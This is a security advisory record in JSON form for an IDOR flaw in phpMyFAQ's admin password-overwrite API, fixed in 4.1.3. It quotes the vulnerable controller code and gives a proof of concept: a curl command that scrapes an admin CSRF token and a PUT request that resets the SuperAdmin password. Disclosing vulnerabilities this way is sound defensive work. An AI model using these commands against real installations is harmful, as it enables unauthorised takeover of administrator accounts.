CVE-2026-35671: phpMyFAQ IDOR Account Takeover Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xvp4-phqj-cjr3",
  "modified" : "2026-05-28T14:19:40Z",
  "published" : "2026-05-20T15:46:17Z",
  "aliases" : [ "CVE-2026-35671" ],
  "summary" : "phpMyFAQ: IDOR Account Takeover ",
  "details" : "### Summary\nAn Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body.\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php\nLines: 232-271\nThe overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:\n#[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])]\n```php\npublic function overwritePassword(Request $request): JsonResponse\n{\n    $this->userHasUserPermission();  // Only checks if user has USER_EDIT permission\n    $currentUser = CurrentUser::getCurrentUser($this->configuration);\n    $data = json_decode($request->getContent());\n    $userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT);  // User-controlled!\n    $csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS);\n    $newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS);\n    $retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);\n    if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) {\n        return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED);\n    }\n    // NO check that $userId belongs to a user the admin should manage\n    // NO check that target user has lower or equal privileges\n    // Can overwrite password for ANY user, including SuperAdmin (userId=1)\n    $currentUser->getUserById((int) $userId, allowBlockedUsers: true);\n    $authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType'));\n    if (hash_equals($newPassword, $retypedPassword)) {\n        if (!$currentUser->changePassword($newPassword)) {\n            return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST);\n        }\n        $this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId);\n        return $this->json(['success' => ...], Response::HTTP_OK);\n    }\n}\n```\n\n### Root Causes:\n1. No verification that the requesting admin has permission to modify the target user's password\n2. No check that the target user has equal or lower privilege level\n3. The userId is taken directly from the request body without authorization context\n4. No multi-factor confirmation for privilege-escalating password changes\n\n\n### PoC\n\nPrerequisites: Authenticated admin session with USER_EDIT permission\n\nStep 1 - Obtain Admin Session:\nLog in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).\n\nStep 2 - Extract CSRF Token:\nCSRF token is embedded in admin pages:\n```bash\ncurl -sL -b \"PHPSESSID=admin_session\" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value=\"\\K[^\"]+'\n```\n\nStep 3 - Change SuperAdmin Password:\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -b \"PHPSESSID=admin_session\" \\\n  -d '{\n    \"userId\": 1,\n    \"csrf\": \"admin_csrf_token_value\",\n    \"newPassword\": \"NewSuperAdminP@ss123!\",\n    \"passwordRepeat\": \"NewSuperAdminP@ss123!\"\n  }' \\\n  http://target/admin/api/user/overwrite-password\n```\n\nResponse: {\"success\":\"The password was successfully changed.\"}\n\nStep 4 - Account Takeover:\nAttacker now has SuperAdmin credentials and full control of phpMyFAQ.\n\n### Who is Impacted:\n- Organizations with multiple admin users where not all should have SuperAdmin access\n- Any phpMyFAQ instance where privilege separation is configured\n- Multi-tenant environments where users should only manage their own accounts\n\n#### Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission\n#### Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-xvp4-phqj-cjr3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-266", "CWE-269", "CWE-639", "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-20T15:46:17Z",
    "nvd_published_at" : null
  }
}